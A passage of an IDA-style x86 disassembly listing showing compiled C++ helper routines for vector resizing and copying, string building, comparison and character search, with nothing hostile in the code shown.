		lea	eax, [eax+esi*4]
		pop	edi
		pop	esi
		retn	8
sub_409530	endp

; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_409580	proc near		; CODE XREF: sub_40190Bj

var_40		= byte ptr -40h
var_39		= byte ptr -39h
var_38		= byte ptr -38h
var_34		= byte ptr -34h
var_30		= byte ptr -30h
var_C		= dword	ptr -0Ch

		push	0FFFFFFFFh
		push	offset SEH_409580
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 30h
		lea	eax, [esp+3Ch+var_39]
		lea	ecx, [esp+3Ch+var_38]
		push	eax
		push	offset aInvalidVectorT ; "invalid vector<T> subscript"
		call	near ptr 76081F67h
		nop
		lea	ecx, [esp+44h+var_40]
		mov	[esp+44h+var_C], 0
		push	ecx
		lea	ecx, [esp+48h+var_30]
		call	near ptr 760A0430h
		nop
		lea	edx, [esp+48h+var_34]
		push	offset dword_43F080
		push	edx
		call	sub_436832
sub_409580	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_409600	proc near		; CODE XREF: sub_401B9Aj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	ebx
		push	ebp
		push	esi
		mov	esi, ecx
		push	edi
		mov	edi, [esp+10h+arg_4]
		mov	eax, [esi+8]
		mov	ecx, [esi+0Ch]
		sub	ecx, eax
		sar	ecx, 2
		cmp	ecx, edi
		jnb	loc_4096CB
		mov	ecx, esi
		call	sub_401974
		cmp	edi, eax
		jnb	short loc_409633
		mov	ecx, esi
		call	sub_401974
		mov	ebp, eax
		jmp	short loc_409635
; ---------------------------------------------------------------------------


loc_409633:				; CODE XREF: sub_409600+26j
		mov	ebp, edi


loc_409635:				; CODE XREF: sub_409600+31j
		mov	ecx, esi
		call	sub_401974
		mov	ebx, eax
		push	0
		add	ebx, ebp
		mov	ecx, esi
		push	ebx
		call	sub_401CAD
; ---------------------------------------------------------------------------
		mov	edx, [esp+10h+arg_0]
		mov	ebp, eax
		mov	eax, [esi+4]
		push	ebp
		push	edx
		push	eax
		mov	ecx, esi
		call	sub_4016D6
		mov	ecx, [esp+10h+arg_8]
		mov	[esp+10h+arg_4], eax
		push	ecx
		push	edi
		push	eax
		mov	ecx, esi
		call	sub_401177
		mov	edx, [esp+10h+arg_4]
		mov	ecx, [esi+8]
		lea	eax, [edx+edi*4]
		mov	edx, [esp+10h+arg_0]
		push	eax
		push	ecx
		push	edx
		mov	ecx, esi
		call	sub_4016D6
		mov	eax, [esi+8]
		mov	ecx, [esi+4]
		push	eax
		push	ecx
		mov	ecx, esi
		call	sub_40170D
		mov	eax, [esi+4]
		mov	edx, [esi+0Ch]
		sub	edx, eax
		mov	ecx, esi
		sar	edx, 2
		push	edx
		push	eax
		call	sub_401294
		lea	eax, [ebp+ebx*4+0]
		mov	ecx, esi
		mov	[esi+0Ch], eax
		call	sub_401974
		add	eax, edi
		mov	[esi+4], ebp
		pop	edi
		lea	ecx, [ebp+eax*4+0]
		mov	[esi+8], ecx
		pop	esi
		pop	ebp
		pop	ebx
		retn	0Ch
; ---------------------------------------------------------------------------


loc_4096CB:				; CODE XREF: sub_409600+17j
		mov	ebx, [esp+10h+arg_0]
		mov	edx, eax
		sub	edx, ebx
		sar	edx, 2
		cmp	edx, edi
		jnb	short loc_409729
		lea	ebp, ds:0[edi*4]
		lea	ecx, [ebx+ebp]
		push	ecx
		push	eax
		push	ebx
		mov	ecx, esi
		call	sub_4016D6
		mov	eax, [esi+8]
		mov	edx, [esp+10h+arg_8]
		mov	ecx, eax
		push	edx
		sub	ecx, ebx
		sar	ecx, 2
		sub	edi, ecx
		mov	ecx, esi
		push	edi
		push	eax
		call	sub_401177
		mov	edx, [esp+10h+arg_8]
		mov	eax, [esi+8]
		push	edx
		push	eax
		push	ebx
		call	sub_401F96
		mov	eax, [esi+8]
		add	esp, 0Ch
		add	eax, ebp
		mov	[esi+8], eax
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn	0Ch
; ---------------------------------------------------------------------------


loc_409729:				; CODE XREF: sub_409600+D8j
		test	edi, edi
		jbe	short loc_409763
		shl	edi, 2
		push	eax
		push	eax
		sub	eax, edi
		mov	ecx, esi
		push	eax
		call	sub_4016D6
		mov	eax, [esi+8]
		push	eax
		sub	eax, edi
		push	eax
		push	ebx
		call	sub_401CCB
		mov	ecx, [esp+1Ch+arg_8]
		lea	edx, [edi+ebx]
		push	ecx
		push	edx
		push	ebx
		call	sub_401F96
		mov	eax, [esi+8]
		add	esp, 18h
		add	eax, edi
		mov	[esi+8], eax


loc_409763:				; CODE XREF: sub_409600+12Bj
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn	0Ch
sub_409600	endp

; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 60h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4097D0	proc near		; CODE XREF: sub_40170Dj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebx
		mov	ebx, [esp+4+arg_4]
		push	esi
		mov	esi, [esp+8+arg_0]
		push	edi
		cmp	esi, ebx
		mov	edi, ecx
		jz	short loc_4097F0


loc_4097E1:				; CODE XREF: sub_4097D0+1Ej
		push	esi
		mov	ecx, edi
		call	sub_402072
		add	esi, 4
		cmp	esi, ebx
		jnz	short loc_4097E1


loc_4097F0:				; CODE XREF: sub_4097D0+Fj
		pop	edi
		pop	esi
		pop	ebx
		retn	8
sub_4097D0	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_409810	proc near		; CODE XREF: sub_401294j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	eax
		call	sub_4367E2
		pop	ecx
		retn	8
sub_409810	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_409830	proc near		; CODE XREF: sub_402072j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	eax
		call	j_nullsub_5
		pop	ecx
		retn	4
sub_409830	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_409850	proc near		; CODE XREF: sub_4016D6j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	ebx
		push	ebp
		mov	ebp, [esp+8+arg_4]
		push	esi
		mov	esi, [esp+0Ch+arg_0]
		mov	ebx, ecx
		cmp	esi, ebp
		jz	short loc_409882
		push	edi
		mov	edi, [esp+10h+arg_8]


loc_409866:				; CODE XREF: sub_409850+27j
		push	esi
		push	edi
		mov	ecx, ebx
		call	sub_4015AA
		add	esi, 4
		add	edi, 4
		cmp	esi, ebp
		jnz	short loc_409866
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn	0Ch
; ---------------------------------------------------------------------------


loc_409882:				; CODE XREF: sub_409850+Fj
		mov	eax, [esp+0Ch+arg_8]
		pop	esi
		pop	ebp
		pop	ebx
		retn	0Ch
sub_409850	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4098A0	proc near		; CODE XREF: sub_401177j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	ebp
		push	edi
		mov	edi, [esp+8+arg_4]
		mov	ebp, ecx
		test	edi, edi
		jbe	short loc_4098C7
		push	ebx
		mov	ebx, [esp+0Ch+arg_8]
		push	esi
		mov	esi, [esp+10h+arg_0]


loc_4098B6:				; CODE XREF: sub_4098A0+23j
		push	ebx
		push	esi
		mov	ecx, ebp
		call	sub_4015AA
		add	esi, 4
		dec	edi
		jnz	short loc_4098B6
		pop	esi
		pop	ebx


loc_4098C7:				; CODE XREF: sub_4098A0+Aj
		pop	edi
		pop	ebp
		retn	0Ch
sub_4098A0	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_4098E0	proc near		; CODE XREF: sub_401CADj

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	0
		push	eax
		call	sub_40203B
sub_4098E0	endp

; ---------------------------------------------------------------------------
		add	esp, 8
		retn	8
; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_409910	proc near		; CODE XREF: sub_4015AAj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		mov	ecx, [esp+arg_0]
		push	eax
		push	ecx
		call	sub_401145
		add	esp, 8
		retn	8
sub_409910	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_409940	proc near		; CODE XREF: sub_401F96j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	eax, [esp+arg_0]
		mov	ecx, [esp+arg_4]
		cmp	eax, ecx
		jz	short locret_40995D
		mov	edx, [esp+arg_8]
		push	esi


loc_409951:				; CODE XREF: sub_409940+1Aj
		mov	esi, [edx]
		mov	[eax], esi
		add	eax, 4
		cmp	eax, ecx
		jnz	short loc_409951
		pop	esi

locret_40995D:				; CODE XREF: sub_409940+Aj
		retn
sub_409940	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_409970	proc near		; CODE XREF: sub_401CCBj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	edx, [esp+arg_0]
		mov	ecx, [esp+arg_4]
		cmp	edx, ecx
		jz	short loc_409992
		mov	eax, [esp+arg_8]
		push	esi


loc_409981:				; CODE XREF: sub_409970+1Ej
		mov	esi, [ecx-4]
		sub	ecx, 4
		sub	eax, 4
		cmp	ecx, edx
		mov	[eax], esi
		jnz	short loc_409981
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_409992:				; CODE XREF: sub_409970+Aj
		mov	eax, [esp+arg_8]
		retn
sub_409970	endp

; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 10h dup(0CCh)
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_5. PRESS KEYPAD "+" TO EXPAND]
		db 0Fh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_4099D0	proc near		; CODE XREF: sub_40203Bj

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		test	eax, eax
		jge	short loc_4099DA
		xor	eax, eax


loc_4099DA:				; CODE XREF: sub_4099D0+6j
		shl	eax, 2
		push	eax
		call	sub_4367FA
sub_4099D0	endp

; ---------------------------------------------------------------------------
		add	esp, 4
		retn
; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_409A00	proc near		; CODE XREF: sub_401145j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		push	eax
		push	4
		call	sub_4011CC
		add	esp, 8
		test	eax, eax
		jz	short locret_409A1B
		mov	ecx, [esp+arg_4]
		mov	edx, [ecx]
		mov	[eax], edx

locret_409A1B:				; CODE XREF: sub_409A00+11j
		retn
sub_409A00	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_409A30	proc near		; CODE XREF: sub_401979j

arg_0		= dword	ptr  4

		mov	al, byte_44719A
		push	esi
		test	al, al
		mov	esi, ecx
		jz	short loc_409A66
		push	edi
		nop
		call	near ptr 282173Fh
		mov	edi, dword_50F8C4
		push	0FFFFFFF5h
		call	edi ; dword_50F8C4
		push	0FFFFFFF4h
		mov	[esi], eax
		call	edi ; dword_50F8C4
		mov	[esi+4], eax
		mov	eax, [esp+8+arg_0]
		mov	byte ptr [esi+8], 1
		mov	[esi+9], eax
		pop	edi
		pop	esi
		retn	4
; ---------------------------------------------------------------------------


loc_409A66:				; CODE XREF: sub_409A30+Aj
		mov	ecx, [esp+4+arg_0]
		mov	byte ptr [esi+8], 1
		mov	[esi+9], ecx
		pop	esi
		retn	4
sub_409A30	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_409AA0	proc near		; CODE XREF: sub_401CDAj
		mov	al, byte_44719A
		push	esi
		test	al, al
		mov	esi, ecx
		jz	short loc_409ABF
		call	near ptr 2821B00h
		nop
		mov	dword ptr [esi], 0FFFFFFFFh
		mov	dword ptr [esi+4], 0FFFFFFFFh


loc_409ABF:				; CODE XREF: sub_409AA0+Aj
		mov	byte ptr [esi+8], 0
		pop	esi
		retn
sub_409AA0	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_409AE0	proc near		; CODE XREF: sub_401424j
		mov	eax, ecx
		xor	ecx, ecx
		mov	dword ptr [eax], offset	off_43E010
		mov	[eax+9], ecx
		mov	[eax+11h], ecx
		mov	[eax+4], cl
		mov	[eax+0Dh], ecx
		retn
sub_409AE0	endp

; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_409B10:				; CODE XREF: ___:00402063j
					; ___:loc_402171j
		push	esi
		mov	esi, ecx
		call	sub_401226
		test	byte ptr [esp+8], 1
		jz	short loc_409B28
		push	esi
		call	sub_4367E2
		add	esp, 4


loc_409B28:				; CODE XREF: ___:00409B1Dj
		mov	eax, esi
		pop	esi
		retn	4
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_409B40	proc near		; CODE XREF: sub_401861j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	ebx
		push	esi
		mov	esi, ecx
		xor	ebx, ebx
		push	eax
		mov	dword ptr [esi], offset	off_43E010
		mov	[esi+9], ebx
		mov	[esi+11h], ebx
		call	sub_4015D7
		mov	[esi+4], bl
		mov	[esi+0Dh], ebx
		mov	eax, esi
		pop	esi
		pop	ebx
		retn	4
sub_409B40	endp

; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_409B80	proc near		; CODE XREF: sub_4014C9j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	ebx
		push	esi
		mov	esi, ecx
		xor	ebx, ebx
		push	eax
		mov	dword ptr [esi], offset	off_43E010
		mov	[esi+9], ebx
		mov	[esi+11h], ebx
		call	sub_401FBE
		mov	[esi+4], bl
		mov	[esi+0Dh], ebx
		mov	eax, esi
		pop	esi
		pop	ebx
		retn	4
sub_409B80	endp

; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_409BC0	proc near		; CODE XREF: sub_4020F4j

var_10		= byte ptr -10h
arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		sub	esp, 10h
		push	ebx
		push	esi
		mov	esi, ecx
		push	eax
		lea	ecx, [esp+1Ch+var_10]
		push	offset dword_4437F4
		push	ecx
		mov	dword ptr [esi], offset	off_43E010
		nop
		call	sub_5EDAB2
		add	esp, 0Ch
		lea	edx, [esp+18h+var_10]
		xor	ebx, ebx
		mov	ecx, esi
		push	edx
		mov	[esi+9], ebx
		mov	[esi+11h], ebx
		call	sub_4015D7
		mov	[esi+4], bl
		mov	[esi+0Dh], ebx
		mov	eax, esi
		pop	esi
		pop	ebx
		add	esp, 10h
		retn	4
sub_409BC0	endp

; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_409C30	proc near		; CODE XREF: sub_401226j
		push	esi
		mov	esi, ecx
		push	edi
		xor	edi, edi
		mov	eax, [esi+9]
		mov	dword ptr [esi], offset	off_43E010
		cmp	eax, edi
		jz	short loc_409C4C
		push	eax
		call	sub_4367E2
		add	esp, 4


loc_409C4C:				; CODE XREF: sub_409C30+11j
		mov	eax, [esi+0Dh]
		mov	[esi+9], edi
		cmp	eax, edi
		jz	short loc_409C5F
		push	eax
		call	sub_4367E2
		add	esp, 4


loc_409C5F:				; CODE XREF: sub_409C30+24j
		mov	[esi+0Dh], edi
		mov	[esi+11h], edi
		pop	edi
		pop	esi
		retn
sub_409C30	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_409C80	proc near		; CODE XREF: sub_4015D7j

arg_0		= dword	ptr  4

		push	ebx
		push	ebp
		push	esi
		push	edi
		mov	edi, [esp+10h+arg_0]
		mov	esi, ecx
		test	edi, edi
		jz	short loc_409CEA
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		mov	eax, [esi+9]
		not	ecx
		dec	ecx
		test	eax, eax
		mov	ebp, ecx
		jz	short loc_409CAA
		push	eax
		call	sub_4367E2
		add	esp, 4


loc_409CAA:				; CODE XREF: sub_409C80+1Fj
		lea	ebx, [ebp+2]
		push	ebx
		call	sub_4367FA
; ---------------------------------------------------------------------------
		db 8Bh
		dd 4C483F8h, 7E89FF85h,	8B2B7409h, 8BC033CBh, 116E89D1h
		dd 0F302E9C1h, 83CA8BABh, 0AAF303E1h, 8B11468Bh, 8B14244Ch
		dd 51500956h, 0A9E89052h, 837783DDh
		db 0C4h, 0Ch
; ---------------------------------------------------------------------------


loc_409CEA:				; CODE XREF: sub_409C80+Cj
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn	4
sub_409C80	endp

; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_409D20	proc near		; CODE XREF: sub_401FBEj

arg_0		= dword	ptr  4

		push	esi
		mov	esi, ecx
		mov	ecx, [esp+4+arg_0]
		call	sub_401389
		push	eax
		mov	ecx, esi
		call	sub_4015D7
		pop	esi
		retn	4
sub_409D20	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_409D50:				; CODE XREF: ___:00401A46j
		mov	eax, [esp+4]
		sub	esp, 10h
		push	esi
		mov	esi, ecx
		push	eax
		lea	ecx, [esp+8]
		push	offset dword_4437F4
		push	ecx
		nop
		call	sub_5EDAB2
		add	esp, 0Ch
		lea	edx, [esp+4]
		mov	ecx, esi
		push	edx
		call	sub_4015D7
		pop	esi
		add	esp, 10h
		retn	4
; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_409DA0	proc near		; CODE XREF: sub_401A9Bj

arg_0		= dword	ptr  4

		push	ebx
		push	ebp
		push	esi
		push	edi
		mov	edi, [esp+10h+arg_0]
		mov	ebx, ecx
		test	edi, edi
		jz	loc_409E32
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		mov	edi, [ebx+11h]
		not	ecx
		dec	ecx
		mov	esi, ecx
		add	esi, edi
		lea	eax, [esi+1]
		push	eax
		call	sub_4367FA
; ---------------------------------------------------------------------------
		mov	edi, [ebx+9]
		add	esp, 4
		test	edi, edi
		mov	ebp, eax
		jz	short loc_409E32
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		mov	[ebx+11h], esi
		repne scasb
		not	ecx
		sub	edi, ecx
		mov	edx, ecx
		mov	esi, edi
		mov	edi, ebp
		shr	ecx, 2
		rep movsd
		mov	ecx, edx
		and	ecx, 3
		rep movsb
		mov	edi, [esp+10h+arg_0]
		or	ecx, 0FFFFFFFFh
		repne scasb
		not	ecx
		sub	edi, ecx
		mov	esi, edi
		mov	edx, ecx
		mov	edi, ebp
		or	ecx, 0FFFFFFFFh
		repne scasb
		mov	ecx, edx
		dec	edi
		shr	ecx, 2
		rep movsd
		mov	ecx, edx
		and	ecx, 3
		rep movsb
		mov	eax, [ebx+9]
		test	eax, eax
		jz	short loc_409E2F
		push	eax
		call	sub_4367E2
		add	esp, 4


loc_409E2F:				; CODE XREF: sub_409DA0+84j
		mov	[ebx+9], ebp


loc_409E32:				; CODE XREF: sub_409DA0+Cj
					; sub_409DA0+36j
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn	4
sub_409DA0	endp

; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_409E70	proc near		; CODE XREF: sub_4016BDj

arg_0		= dword	ptr  4

		push	esi
		mov	esi, ecx
		mov	ecx, [esp+4+arg_0]
		call	sub_401389
		push	eax
		mov	ecx, esi
		call	sub_401A9B
		pop	esi
		retn	4
sub_409E70	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_409EA0	proc near		; CODE XREF: sub_401140j

var_10		= byte ptr -10h
arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		sub	esp, 10h
		push	esi
		mov	esi, ecx
		push	eax
		lea	ecx, [esp+18h+var_10]
		push	offset dword_4437F4
		push	ecx
		nop
		call	sub_5EDAB2
		add	esp, 0Ch
		lea	edx, [esp+14h+var_10]
		mov	ecx, esi
		push	edx
		call	sub_401A9B
		pop	esi
		add	esp, 10h
		retn	4
sub_409EA0	endp

; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_409EF0	proc near		; CODE XREF: sub_4012EEj

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		test	esi, esi
		jnz	short loc_409F07
		mov	edx, [ecx+9]
		xor	eax, eax
		test	edx, edx
		setnz	al
		pop	esi
		retn	4
; ---------------------------------------------------------------------------


loc_409F07:				; CODE XREF: sub_409EF0+7j
		mov	eax, [ecx+9]
		push	ebx


loc_409F0B:				; CODE XREF: sub_409EF0+3Dj
		mov	dl, [eax]
		mov	bl, [esi]
		mov	cl, dl
		cmp	dl, bl
		jnz	short loc_409F36
		test	cl, cl
		jz	short loc_409F2F
		mov	dl, [eax+1]
		mov	bl, [esi+1]
		mov	cl, dl
		cmp	dl, bl
		jnz	short loc_409F36
		add	eax, 2
		add	esi, 2
		test	cl, cl
		jnz	short loc_409F0B


loc_409F2F:				; CODE XREF: sub_409EF0+27j
		pop	ebx
		xor	eax, eax
		pop	esi
		retn	4
; ---------------------------------------------------------------------------


loc_409F36:				; CODE XREF: sub_409EF0+23j
					; sub_409EF0+33j
		sbb	eax, eax
		pop	ebx
		sbb	eax, 0FFFFFFFFh
		pop	esi
		retn	4
sub_409EF0	endp

; ---------------------------------------------------------------------------
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_409F60	proc near		; CODE XREF: sub_401B72j

arg_0		= dword	ptr  4

		push	esi
		mov	esi, ecx
		mov	ecx, [esp+4+arg_0]
		call	sub_401389
		push	eax
		mov	ecx, esi
		call	sub_4012EE
		pop	esi
		retn	4
sub_409F60	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_409F90	proc near		; CODE XREF: sub_401500j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		test	eax, eax
		jnz	short loc_409FA3
		mov	edx, [ecx+9]
		test	edx, edx
		setnz	al
		retn	4
; ---------------------------------------------------------------------------


loc_409FA3:				; CODE XREF: sub_409F90+6j
		push	eax
		mov	eax, [ecx+9]
		push	eax
		nop
		call	near ptr 77C4624Eh
		add	esp, 8
		retn	4
sub_409F90	endp

; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_409FD0	proc near		; CODE XREF: sub_4021ADj

arg_0		= dword	ptr  4

		push	esi
		mov	esi, ecx
		mov	ecx, [esp+4+arg_0]
		call	sub_401389
		push	eax
		mov	ecx, esi
		call	sub_4012EE
		pop	esi
		retn	4
sub_409FD0	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40A000	proc near		; CODE XREF: sub_401CBCj
		push	esi
		mov	esi, ecx
		mov	eax, [esi+9]
		test	eax, eax
		jz	short loc_40A013
		push	eax
		call	sub_4367E2
		add	esp, 4


loc_40A013:				; CODE XREF: sub_40A000+8j
		mov	dword ptr [esi+9], 0
		pop	esi
		retn
sub_40A000	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40A030	proc near		; CODE XREF: sub_40102Dj

arg_2000	= dword	ptr  2004h
arg_2004	= dword	ptr  2008h
arg_2008	= byte ptr  200Ch

		mov	eax, 2000h
		call	sub_436840
		mov	eax, [esp+arg_2004]
		test	eax, eax
		jz	short loc_40A072
		lea	ecx, [esp+arg_2008]
		lea	edx, [esp+0]
		push	ecx
		push	eax
		push	2000h
		push	edx
		nop
		call	near ptr 77C3FF8Ah
		mov	ecx, [esp+10h+arg_2000]
		add	esp, 10h
		lea	eax, [esp+0]
		push	eax
		call	sub_4015D7


loc_40A072:				; CODE XREF: sub_40A030+13j
		add	esp, 2000h
		retn
sub_40A030	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40A0A0	proc near		; CODE XREF: sub_401D20j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	0
		push	eax
		call	sub_401316
		retn	4
sub_40A0A0	endp

; ---------------------------------------------------------------------------
		db 90h
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40A0C0	proc near		; CODE XREF: sub_401316j

arg_0		= byte ptr  4

		push	ebx
		mov	ebx, dword_50FAE0
		push	esi
		push	edi
		movsx	edi, [esp+0Ch+arg_0]
		mov	esi, ecx
		push	edi
		mov	eax, [esi+9]
		push	eax
		call	ebx ; dword_50FAE0
		add	esp, 8
		test	eax, eax
		jnz	short loc_40A0E4
		pop	edi
		pop	esi
		pop	ebx
		retn	8
; ---------------------------------------------------------------------------


loc_40A0E4:				; CODE XREF: sub_40A0C0+1Cj
		mov	ecx, [esi+9]
		push	edi
		push	ecx
		call	ebx ; dword_50FAE0
		mov	edi, [esi+9]
		add	esp, 8
		mov	edx, 1
		sub	edx, edi
		pop	edi
		pop	esi
		add	eax, edx
		pop	ebx
		retn	8
sub_40A0C0	endp

; ---------------------------------------------------------------------------
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40A110	proc near		; CODE XREF: sub_4018A2j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	0
		push	eax
		call	sub_401807
		retn	4
sub_40A110	endp

; ---------------------------------------------------------------------------
		db 90h
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40A130	proc near		; CODE XREF: sub_401807j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		push	esi
		mov	esi, ecx
		push	eax
		mov	ecx, [esp+8+arg_0]
		call	sub_401389
		push	eax
		mov	ecx, esi
		call	sub_402117
		pop	esi
		retn	8
sub_40A130	endp

; ---------------------------------------------------------------------------
		db 3 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40A160	proc near		; CODE XREF: sub_4013E3j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	0
		push	eax
		call	sub_402117
		retn	4
sub_40A160	endp

; ---------------------------------------------------------------------------
		db 90h
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40A180	proc near		; CODE XREF: sub_402117j

arg_0		= dword	ptr  4

		push	ebx
		push	esi
		push	edi
		mov	edi, [esp+0Ch+arg_0]
		test	edi, edi
		mov	esi, ecx
		jnz	short loc_40A195
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		retn	8
; ---------------------------------------------------------------------------


loc_40A195:				; CODE XREF: sub_40A180+Bj
		mov	eax, [esi+9]
		mov	ebx, dword_50FAF8
		push	edi
		push	eax
		call	ebx ; dword_50FAF8
		add	esp, 8
		test	eax, eax
		jnz	short loc_40A1AF
		pop	edi
		pop	esi
		pop	ebx
		retn	8
; ---------------------------------------------------------------------------


loc_40A1AF:				; CODE XREF: sub_40A180+27j
		mov	ecx, [esi+9]
		push	edi
		push	ecx
		call	ebx ; dword_50FAF8
		mov	edi, [esi+9]
		add	esp, 8
		mov	edx, 1
		sub	edx, edi
		pop	edi
		pop	esi
		add	eax, edx
		pop	ebx
		retn	8
sub_40A180	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40A1F0	proc near		; CODE XREF: sub_401C5Dj

arg_0		= dword	ptr  4

		push	esi
		push	edi
		mov	edi, [esp+8+arg_0]
		mov	esi, ecx
		test	edi, edi
		jnz	short loc_40A203
		pop	edi
		xor	eax, eax
		pop	esi
		retn	4
; ---------------------------------------------------------------------------


loc_40A203:				; CODE XREF: sub_40A1F0+Aj
		mov	eax, [esi+9]
